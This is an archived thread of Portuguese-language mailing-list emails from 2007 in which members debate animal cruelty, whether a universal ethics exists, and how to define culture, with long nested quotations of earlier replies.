> > > >consideração ao sofrimento de outros seres como damos ao nosso
>próprio
> > > >sofrimento, independente da espécie, do sexo e das habilidades
> > > >intelectuais."
> > > >
> > > >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> > > >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> > > >questão de crença, devemos acreditar em você e pronto?
> > > >
> > > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > > >importantes e mais polêmicas da filosofia, a existência ou não de uma
> > > >ética universal? Como só você encontrou a resposta, que tem dividido
>e
> > > >assombrado filósofos por séculos?
> > > >
> > > >Seria interessante saber como chegou a essa conclusão, o que a
>embasa,
> > > >quais as evidências, etc. Poderia resolver grandes problemas
> > > >filosóficos do ser humano.
> > > >
> > > >Em segundo, fiquei curioso com este trecho em especial, em relação a
> > > >parte prática, a forma de aplicar esse, generoso, princípio:
> > > >
> > > >Bruna: "independente da espécie, do sexo e das habilidades
> >intelectuais."
> > > >
> > > >Todos os seres vivos, independente da espécie? E das habilidades
> > > >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> > > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > > >
> > > >E animais selvagens, devemos destruir todas as cidades, para que
> > > >possam voltar a habitar seus ambientes originais?
> > > >
> > > >E ratos, devemos impedir que sejam mortos nas cidades, pensando em
>sua
> > > >"dor"?
> > > >
> > > >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> > > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > > >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> > > >pessoas que vivem em áreas da África assoladas por doenças como
> > > >elefantíase, não podem aplicar as drogas que matam as moscas
> > > >transmissoras?
> > > >
> > > >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> > > >quero saber como pretende aplicar sua alegação a casos concretos, já
> > > >que não há nela nenhuma limitação ou forma de decidir a linha de
> >"corte".
> > > >
> > > >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> > > >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> > > >agir nos casos concretos que citei?
> > > >
> > > >Um abraço.
> > > >
> > > >Homero
> > > >
> > > >
> > > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > ><brunacribas@> escreveu
> > > > >
> > > > > A ética universal está na razão de darmos a mesma a consideração
>ao
> > > >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > > > independente da espécie, do sexo e das habilidades intelectuais.
> > > > >
> > > > > Abraços,
> > > > >
> > > > > da Bruna
> > > > >
> > > > >
> > > > > José Renato <jrma@> escreveu:
> > > >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> > > >vamos
> > > > > achar a ética universal se não a procurarmos? Parece-me que a
> > > >questão está
> > > > > muito menos em encontrá-la, do que na força necessária para
> > > >considerá-la e
> > > > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> > > >sobra
> > > > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > > > []s
> > > > > José Renato
> > > > > .............................................
> > > > >
> > > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > > <ciencialist@yahoogrupos.com.br>
> > > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > >
> > > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > > história de escolha lembra aquele velho dilema entre
> > > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > > debate....
> > > > > >
> > > > > > Abraços.
> > > > > >
> > > > > > --- José Renato <jrma@> escreveu:
> > > > > >
> > > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > > >> nossa vida é construída,
> > > > > >> destruída ou mantida por permanentes escolhas que
> > > > > >> fazemos e pelas decisões
> > > > > >> que tomamos. Encontrar as melhores decisões e
> > > > > >> escolhas para cada situação é
> > > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > > >> Como elas são praticamente
> > > > > >> infinitas alguns roteiros básicos são copilados para
> > > > > >> orientações gerais. Mas
> > > > > >> no particular, cada um vai ter de optar, escolher e
> > > > > >> decidir. Ou deixar que
> > > > > >> decidam por nós.
> > > > > >> Faço outros comentários no corpo do e-mail, após
> > > > > >> JR2, OK?
> > > > > >> ..............................................
> > > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > > >> <ciencialist@yahoogrupos.com.br>
> > > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > >>
> > > > > >>
> > > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > > >> >
> > > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > > >> O
> > > > > >> > atleta sofre muito durante a preparação para bater
> > > > > >> > seus recordes com a intenção de ter o prazer de
> > > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > > >> > valorização,
> > > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > > >> caixa de
> > > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > > >> já
> > > > > >> > era perseguido por Sócrates com muito empenho.
> > > > > >> Perceba
> > > > > >> >
> > > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > > >> > objetivo maior e legítimo do ser humano. As
> > > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > > >> > troca é prejudicial a
> > > > > >> > mim e a todos que uso ou despacho para obter a
> > > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > > >> reflexão
> > > > > >> > que fiz sobre isso, provocada há tempos
> > > > > >> > pelo Bulcão, na lista Acropolis.
> > > > > >> >
> > > > > >> >>>>>>Concordo com a relatividade.
> > > > > >> >
> > > > > >> >
> > > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > > >> sua
> > > > > >> > existência passa a buscar viver de verdade, ter um
> > > > > >> amor de
> > > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > > >> e confortam
> > > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > > >> > a realidade com todas as sua conseqüências.
> > > > > >> >
> > > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > > >> saiba mais
> > > > > >> > verdades que uma pessoa comum. Com isso você
> > > > > >> pensaria
> > > > > >> > que conhece a realidade e seria bom para você.
> > > > > >> > Não gostaria de entrar na MATRIX???
> > > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > > >> sair dela, da geléia geral
> > > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > > >> meios de comunicação
> > > > > >> acionados pelos interesses comerciais e políticos.
> > > > > >> Viver na realidade ou na
> > > > > >> verdade dá mais segurança, harmonia,
> > > > > >> tranquilidade... O melhor em tudo é não
> > > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > > >> isso que a Ciência
> > > > > >> busca.
> > > > > >> >
> > > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > > >> diversas
> > > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > > >> melhores
> > > > > >> > momentos da vida vieram através da realidade e da
> > > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > > >> >
> > > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > > >> sair dela.
> > > > > >> >
> > > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > > >> > fazem... Quanto a não
> > > > > >> > ser punido ou não sentir remorsos não é uma
> > > > > >> certeza
> > > > > >> > obtida de antemão.
> > > > > >> > Quando menos se espera vem a tal crise existencial
> > > > > >> e
> > > > > >> > aí o cara se
> > > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > > >> > traidor, etc. e nem sabe
> > > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > > >> e
> > > > > >> > mentira.
> > > > > >> >
> > > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > > >> aquelas
> > > > > >> > que não sentem nenhum remorso em fazer ações
> > > > > >> > consideradas más.
> > > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > > >> conscientemente alguém gera
> > > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > > >> para mim" que vai geram um
> > > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > > >> estudos dos diversos
> > > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > > >> identifica-se regiões onde
> > > > > >> estão os "bancos de dados" e procedimentos de
> > > > > >> avaliação ética-moral. Célebre
> > > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > > >> provocado por um prego
> > > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > > >> cabeça, mas ele continuou
> > > > > >> consciente e aparentemente não prejudicou em nada
> > > > > >> seus movimentos e
> > > > > >> atividades intelectuais. Após a remoção do prego,
> > > > > >> recuperação e volta ao
> > > > > >> trabalho, observou-se que o cara estava com um
> > > > > >> comportamento diferente,
> > > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > > >> daí começou-se a fazer
> > > > > >> testes mais acurados sobre o funcionamento dessa
> > > > > >> região afetada e de outras
> > > > > >> regiões do cérebro.
> > > > > >> >
> > > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > > >> pode
> > > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > > >> violência,
> > > > > >> > mas é um distúrbio mental que não me parece grande
> > > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > > >> minha
> > > > > >> > experiência de vida para discernir o que é melhor,
> > > > > >> o
> > > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > > >> é
> > > > > >> > um exercício diário que requer tempo, coragem e
> > > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > > >> outros
> > > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > > >> que tenha
> > > > > >> > alguma chance de obter melhores resultados...
> > > > > >> >
> > > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > > >> você
> > > > > >> > disse é relativo.
> > > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > > >> crueldades e das maiores
> > > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > > >> fazer alguma ignomínia.
> > > > > >> Basta estar na situação adequada para praticá-la. E
> > > > > >> como sempre consideramos
> > > > > >> algum ponto de referência pode estar certo que não
> > > > > >> só o resto como tudo o
> > > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > > >> um ponto ótimo
> > > > > >> inatingível como referência ou norte.
> > > > > >> >
> > > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > > >> ilude
> > > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > > >> de
> > > > > >> > qualquer investigação, até que alguém de dentro do
> > > > > >> > esquema se sente enganado e, antes de ser
> > > > > >> eliminado,
> > > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > > >> >
> > > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > > >> > ficarem sob segredo.
> > > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > > >> ser
> > > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > > >> mau
> > > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > > >> Note
> > > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > > >> jogos).
> > > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > > >> longo prazo quando todos
> > > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > > >> buscada permanentemente.
> > > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > > >> tirar o que vc já
> > > > > >> ganhou prejudicando ou não prejudicando outras
> > > > > >> pessoas. Esse é o normal na
> > > > > >> maioria das nossas comunidades.
> > > > > >>
> > > > > > === message truncated ===
> > > > > >
> > > > > >
> > > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > > O que há é pouca gente para dar por isso... "
> > > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > > >
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> > > > > > 08:41
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SUBJECT: Re: [ciencialist] P/ Andre, sobre a falácia do espantalho -
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 23:19

Silvio, tem uma "definição" de Cultura bem interessante:
Cultura é o que praticamos depois de esquecer tudo o que aprendemos.
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <Conversa_de_Botequim@yahoogrupos.com.br>;
<Acropolis_@yahoogrupos.com.br>
Cc: <redeliberal@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 16, 2007 4:40 PM
Subject: [ciencialist] P/ Andre, sobre a falácia do espantalho -


Constantino:
Desculpe, não li um "não são" no seu e-mail.

Primeiro é preciso definir o que é cultura:
Cultura é o comportamento social do grupo. Cultura, segundo Tyler (1871) diz
que é o complexo total de conhecimentos, crenças, artes, leis, costumes e
quaisquer outras aptidões e hábitos adquiridos pelo homem como membro da
sociedade.
É o modo de as pessoas se adaptarem ao ambiente e a linguagem é o primeiro
elemento da cultura.
E acrescento: é o conjunto formado pelos sistemas de representação, os
sistemas normativos, sistemas de expressão e sistemas de ação. É uma visão
original e irredutível do mundo, da vida, da morte mo significado do homem
com seus direitos, deveres e suas esperanças.
Assim, procurar o que não é cultura só se poderia encontrar num portador de
idiotia total e/ou que tenha apenas vida vegetativa.

É a cultura a primeira característica dos humanos.

sds.,

silvio.

constantor wrote:

.
De maneira ampla é também uma convenção social, Sílvio.

Silvio Cordeiro wrote:


Contantino:
Simples: o trabalho.
silvio.


constantor wrote:



Sílvio, o que, no campo da cultura, não são convenções sociais?

Silvio Cordeiro wrote:


Constantino: falar qualquer coisa do casamento seguro é uma
abstração pois o casamento é apenas uma convenção social. A fidelidade,
apregoada pelas igrejas são normas canônicas: tanto que meu amigo Deus
disse - tá lá no gênesis - ide e multiplicai-vos. Como ele, Deus, à
sorrelfa criou outras pessoas à leste do Édem. e sobre elas nem reproduzir
ele mandou, obviamente que o ato matrimonial é uma simples badalação social
pra gastar dinheiro.

sds.,
silvio



------------------------------------------------------------------------------



[As partes desta mensagem que não continham texto foram removidas]



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Esta mensagem foi verificada pelo E-mail Protegido Terra.
Scan engine: McAfee VirusScan / Atualizado em 16/03/2007 / Versão:
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Version: 7.5.446 / Virus Database: 268.18.12/724 - Release Date: 16/3/2007
12:12




SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 23:37

Olá, Bruna!
Inspirada definição de quem busca.
Abraços
José Renato
..................................................

From: "Bruna Carolina Ribas" <brunacribas@To:
<ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 17, 2007 10:56 AM
Subject: Re: Fw: [ciencialist] Crueldade com animais


A ética universal está na razão de darmos a mesma a consideração ao
sofrimento de outros seres como damos ao nosso próprio sofrimento,
independente da espécie, do sexo e das habilidades intelectuais.

Abraços,

da Bruna


José Renato <jrma@terra.com.br> escreveu:
Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como vamos
achar a ética universal se não a procurarmos? Parece-me que a questão está
muito menos em encontrá-la, do que na força necessária para considerá-la e
praticá-la. Estamos esgotados por tantas solicitações que não nos sobra
energia para sermos o que dizemos ser: homo sapiens-sapiens.
[]s
José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 12:07 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais

> JR vou parar por aqui. Enquanto não acharmos a ética
> universal vamos ficar apenas nos achismos e no plano
> da retórica. Foi proveitosa toda essa polêmica. Essa
> história de escolha lembra aquele velho dilema entre
> determinismo e acaso. Mas isso fica pra um outro
> debate....
>
> Abraços.
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Olá, Chicão! Essa é uma questão de escolha... A
>> nossa vida é construída,
>> destruída ou mantida por permanentes escolhas que
>> fazemos e pelas decisões
>> que tomamos. Encontrar as melhores decisões e
>> escolhas para cada situação é
>> a pedra de toque que os sábios buscam há tempos.
>> Como elas são praticamente
>> infinitas alguns roteiros básicos são copilados para
>> orientações gerais. Mas
>> no particular, cada um vai ter de optar, escolher e
>> decidir. Ou deixar que
>> decidam por nós.
>> Faço outros comentários no corpo do e-mail, após
>> JR2, OK?
>> ..............................................
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Thursday, March 08, 2007 4:22 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR, minhas respostas seguem depois do ">>>>>".
>> >
>> > JR1 - Dor e prazer são sinais sensíveis relativos.
>> O
>> > atleta sofre muito durante a preparação para bater
>> > seus recordes com a intenção de ter o prazer de
>> > possuir uma medalha de ouro, seu nome nos anais,
>> > valorização,
>> > admiração, etc. Dor e prazer não são indicativos
>> > absolutos. Muitas vezes o prazer de comer uma
>> caixa de
>> > chocolate acaba mal. Esse equilíbrio nas atitudes
>> já
>> > era perseguido por Sócrates com muito empenho.
>> Perceba
>> >
>> > que buscar a felicidade, a glória e o gozo é o
>> > objetivo maior e legítimo do ser humano. As
>> > dificuldades ocorrem quando minha visão é curta e
>> > atropelo tudo que de bom possuo para obter isso. A
>> > troca é prejudicial a
>> > mim e a todos que uso ou despacho para obter a
>> > felicidade a qualquer custo. Vou postar uma
>> reflexão
>> > que fiz sobre isso, provocada há tempos
>> > pelo Bulcão, na lista Acropolis.
>> >
>> >>>>>>Concordo com a relatividade.
>> >
>> >
>> > JR1 - Mas quando o ser humano toma consciência de
>> sua
>> > existência passa a buscar viver de verdade, ter um
>> amor de
>> > verdade, ser feliz de verdade... Ilusões distraem
>> e confortam
>> > durante algum tempo. Mas o bom mesmo é
>> > a realidade com todas as sua conseqüências.
>> >
>> >>>>>>O que é verdade??? A realidade é boa porque dá
>> > prazer??? Eu posso na MATRIX fazer com que voce
>> saiba mais
>> > verdades que uma pessoa comum. Com isso você
>> pensaria
>> > que conhece a realidade e seria bom para você.
>> > Não gostaria de entrar na MATRIX???
>> JR2 - Parece que o que faço o tempo todo é tentar
>> sair dela, da geléia geral
>> em que estamos vivendo, da ilusão manipulada pelos
>> meios de comunicação
>> acionados pelos interesses comerciais e políticos.
>> Viver na realidade ou na
>> verdade dá mais segurança, harmonia,
>> tranquilidade... O melhor em tudo é não
>> confundir o imaginado e o sonhado com a Realidade. É
>> isso que a Ciência
>> busca.
>> >
>> > JR1 - Viver de mentirinha é o que já faço de
>> diversas
>> > maneiras e em diversas ocasiões. Mas os meus
>> melhores
>> > momentos da vida vieram através da realidade e da
>> > lucidez em percebê-la. Nela me realizo.
>> >
>> >>>>>>Não gostaria de entrar na MATRIX???
>> JR2 - De algum modo já estamos nela. O que procuro é
>> sair dela.
>> >
>> > JR1 - É o que todos os "espertos e sabidórios"
>> > fazem... Quanto a não
>> > ser punido ou não sentir remorsos não é uma
>> certeza
>> > obtida de antemão.
>> > Quando menos se espera vem a tal crise existencial
>> e
>> > aí o cara se
>> > constata um merda, mentiroso, falso, safado, lixo,
>> > traidor, etc. e nem sabe
>> > mais quem ele é de fato no meio de tanta falsidade
>> e
>> > mentira.
>> >
>> >>>>>>Todas as pessoas não são assim. Existem
>> aquelas
>> > que não sentem nenhum remorso em fazer ações
>> > consideradas más.
>> JR2 - Alguns sentimentos são inatos. Prejudicar
>> conscientemente alguém gera
>> no fundo uma reflexão tipo "e se ele fizesse isso
>> para mim" que vai geram um
>> sentimento semelhante ao que chamamos de remorso. Em
>> estudos dos diversos
>> órgãos ou componentes do nosso sistema cognitivo
>> identifica-se regiões onde
>> estão os "bancos de dados" e procedimentos de
>> avaliação ética-moral. Célebre
>> é o caso do trabalhador que sofreu dano no célebro
>> provocado por um prego
>> disparado por uma pistola pneumática. Penetrou na
>> cabeça, mas ele continuou
>> consciente e aparentemente não prejudicou em nada
>> seus movimentos e
>> atividades intelectuais. Após a remoção do prego,
>> recuperação e volta ao
>> trabalho, observou-se que o cara estava com um
>> comportamento diferente,
>> aético, entrão, imoral, inconveniente... A partir
>> daí começou-se a fazer
>> testes mais acurados sobre o funcionamento dessa
>> região afetada e de outras
>> regiões do cérebro.
>> >
>> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
>> pode
>> > dar algum prazer, algum tipo de emoção forte. Os
>> > cruéis patológicos têm orgasmos ao praticar
>> violência,
>> > mas é um distúrbio mental que não me parece grande
>> > coisa desejar possuir. Quanto à vontade de usar
>> minha
>> > experiência de vida para discernir o que é melhor,
>> o
>> > que deve ser evitado e o que precisa ser superado,
>> é
>> > um exercício diário que requer tempo, coragem e
>> > reflexão. Cometer os mesmos erros ou o erro dos
>> outros
>> > burrice em dobro. Prefiro tentar algo diferente e
>> que tenha
>> > alguma chance de obter melhores resultados...
>> >
>> >>>>>> E os cruéis não patológicos??? O resto que
>> você
>> > disse é relativo.
>> JR2 - Em sã consciência somos capazes das maiores
>> crueldades e das maiores
>> generosidades. Ilude-se quem acha que não é capaz de
>> fazer alguma ignomínia.
>> Basta estar na situação adequada para praticá-la. E
>> como sempre consideramos
>> algum ponto de referência pode estar certo que não
>> só o resto como tudo o
>> mais é relativo a esse ponto. Em geral, procura-se
>> um ponto ótimo
>> inatingível como referência ou norte.
>> >
>> > JR1 - Mas, Chicão, não é esse objetivo que nos
>> ilude
>> > desde sempre? O crime perfeito! E cada vez mais se
>> > sofistica as formas burlar, de modo a ser à prova
>> de
>> > qualquer investigação, até que alguém de dentro do
>> > esquema se sente enganado e, antes de ser
>> eliminado,
>> > denuncia(RJ) ou mesmo o burlador se rende à
>> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
>> >
>> >>>>>> Isso também não poderá acontecer e as coisas
>> > ficarem sob segredo.
>> > Você disse que ser bom era mais vantajoso. Devemos
>> ser
>> > bons porque é mais vantajoso??? Isso depende. Ser
>> mau
>> > também pode ser vantajoso ao invés de ser bom.
>> Note
>> > que o príncipio aqui é o do ganho(teoria dos
>> jogos).
>> > Então ambos são duas faces de uma mesma moeda. Por
>> > esse principio você é igual às siglas. [ ... ]
>> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
>> longo prazo quando todos
>> ganham, e essa possibilidade deve ser considerada e
>> buscada permanentemente.
>> No perde-ganha vc não vive em paz. Alguém vai querer
>> tirar o que vc já
>> ganhou prejudicando ou não prejudicando outras
>> pessoas. Esse é o normal na
>> maioria das nossas comunidades.
>>
> === message truncated ===
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
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> para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> Favor
> apagar as informações e notificar o remetente. O uso impróprio será
> tratado
> conforme as normas da empresa e a legislação em vigor. Agradecemos sua
> colaboração.
>
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> The information mentioned in this message and in the archives attached
> are
> of restricted use, and its privacy is protected by law. If you are not
> the
> addressee, be aware that reading, disclosure or copy are forbidden.
> Please
> delete this information and notify the sender. Inappropriate use will
> be
> tracted according to company's rules and valid laws. Thank you for your
> cooperation.
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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 23:49

Olá, Silvio! O pitaco veio mesmo a calhar. Tanto quanto o solvente universal
a ética universal não pode ser contida ou amoldada em pacotes preparados por
interesses comerciais, políticos, econômicos, sociais ou pessoais.
Teoricamente ela deve ser livre e abrangente a tudo. A pior é que essa lenda
de que ela é impraticável ou que até nem exista já faz parte de nossa
cultura - digamos de um modo gentil - de conveniências pessoais.
[]s
José Renato
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 17, 2007 11:55 AM
Subject: Re: Fw: [ciencialist] Crueldade com animais


Renato,
Permita-me um pitaco: Ética universal é idêntica à descoberta lusitana do
solvente universal: não conseguiram guardá-lo nem fazer embalagens.... Não
existe ética universal pois ética é a ciência da conduta: é a ciência do fim
para o qual a conduta humana deve ser orientada e dos meios para atingir tal
fim.
Os textos dos debatedores demostram essa impossibilidade.
E, permita-me: embora Lineu classificou o homem como "homo sapiens", o
correto é "homo stultus" ou na melhor das hipóteses, "homo faber": esta
última o distingue melhor dos outros primatas.

sds.,
silvio


----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 16, 2007 11:57 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais


Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como vamos
achar a ética universal se não a procurarmos? Parece-me que a questão está
muito menos em encontrá-la, do que na força necessária para considerá-la e
praticá-la. Estamos esgotados por tantas solicitações que não nos sobra
energia para sermos o que dizemos ser: homo sapiens-sapiens.
[]s
José Renato
.............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Monday, March 12, 2007 12:07 PM
Subject: Re: Fw: [ciencialist] Crueldade com animais

> JR vou parar por aqui. Enquanto não acharmos a ética
> universal vamos ficar apenas nos achismos e no plano
> da retórica. Foi proveitosa toda essa polêmica. Essa
> história de escolha lembra aquele velho dilema entre
> determinismo e acaso. Mas isso fica pra um outro
> debate....
>
> Abraços.
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> Olá, Chicão! Essa é uma questão de escolha... A
>> nossa vida é construída,
>> destruída ou mantida por permanentes escolhas que
>> fazemos e pelas decisões
>> que tomamos. Encontrar as melhores decisões e
>> escolhas para cada situação é
>> a pedra de toque que os sábios buscam há tempos.
>> Como elas são praticamente
>> infinitas alguns roteiros básicos são copilados para
>> orientações gerais. Mas
>> no particular, cada um vai ter de optar, escolher e
>> decidir. Ou deixar que
>> decidam por nós.
>> Faço outros comentários no corpo do e-mail, após
>> JR2, OK?
>> ..............................................
>> From: "Chicao Valadares" <chicaovaladares@To:
>> <ciencialist@yahoogrupos.com.br>
>> Sent: Thursday, March 08, 2007 4:22 PM
>> Subject: Re: Fw: [ciencialist] Crueldade com animais
>>
>>
>> > JR, minhas respostas seguem depois do ">>>>>".
>> >
>> > JR1 - Dor e prazer são sinais sensíveis relativos.
>> O
>> > atleta sofre muito durante a preparação para bater
>> > seus recordes com a intenção de ter o prazer de
>> > possuir uma medalha de ouro, seu nome nos anais,
>> > valorização,
>> > admiração, etc. Dor e prazer não são indicativos
>> > absolutos. Muitas vezes o prazer de comer uma
>> caixa de
>> > chocolate acaba mal. Esse equilíbrio nas atitudes
>> já
>> > era perseguido por Sócrates com muito empenho.
>> Perceba
>> >
>> > que buscar a felicidade, a glória e o gozo é o
>> > objetivo maior e legítimo do ser humano. As
>> > dificuldades ocorrem quando minha visão é curta e
>> > atropelo tudo que de bom possuo para obter isso. A
>> > troca é prejudicial a
>> > mim e a todos que uso ou despacho para obter a
>> > felicidade a qualquer custo. Vou postar uma
>> reflexão
>> > que fiz sobre isso, provocada há tempos
>> > pelo Bulcão, na lista Acropolis.
>> >
>> >>>>>>Concordo com a relatividade.
>> >
>> >
>> > JR1 - Mas quando o ser humano toma consciência de
>> sua
>> > existência passa a buscar viver de verdade, ter um
>> amor de
>> > verdade, ser feliz de verdade... Ilusões distraem
>> e confortam
>> > durante algum tempo. Mas o bom mesmo é
>> > a realidade com todas as sua conseqüências.
>> >
>> >>>>>>O que é verdade??? A realidade é boa porque dá
>> > prazer??? Eu posso na MATRIX fazer com que voce
>> saiba mais
>> > verdades que uma pessoa comum. Com isso você
>> pensaria
>> > que conhece a realidade e seria bom para você.
>> > Não gostaria de entrar na MATRIX???
>> JR2 - Parece que o que faço o tempo todo é tentar
>> sair dela, da geléia geral
>> em que estamos vivendo, da ilusão manipulada pelos
>> meios de comunicação
>> acionados pelos interesses comerciais e políticos.
>> Viver na realidade ou na
>> verdade dá mais segurança, harmonia,
>> tranquilidade... O melhor em tudo é não
>> confundir o imaginado e o sonhado com a Realidade. É
>> isso que a Ciência
>> busca.
>> >
>> > JR1 - Viver de mentirinha é o que já faço de
>> diversas
>> > maneiras e em diversas ocasiões. Mas os meus
>> melhores
>> > momentos da vida vieram através da realidade e da
>> > lucidez em percebê-la. Nela me realizo.
>> >
>> >>>>>>Não gostaria de entrar na MATRIX???
>> JR2 - De algum modo já estamos nela. O que procuro é
>> sair dela.
>> >
>> > JR1 - É o que todos os "espertos e sabidórios"
>> > fazem... Quanto a não
>> > ser punido ou não sentir remorsos não é uma
>> certeza
>> > obtida de antemão.
>> > Quando menos se espera vem a tal crise existencial
>> e
>> > aí o cara se
>> > constata um merda, mentiroso, falso, safado, lixo,
>> > traidor, etc. e nem sabe
>> > mais quem ele é de fato no meio de tanta falsidade
>> e
>> > mentira.
>> >
>> >>>>>>Todas as pessoas não são assim. Existem
>> aquelas
>> > que não sentem nenhum remorso em fazer ações
>> > consideradas más.
>> JR2 - Alguns sentimentos são inatos. Prejudicar
>> conscientemente alguém gera
>> no fundo uma reflexão tipo "e se ele fizesse isso
>> para mim" que vai geram um
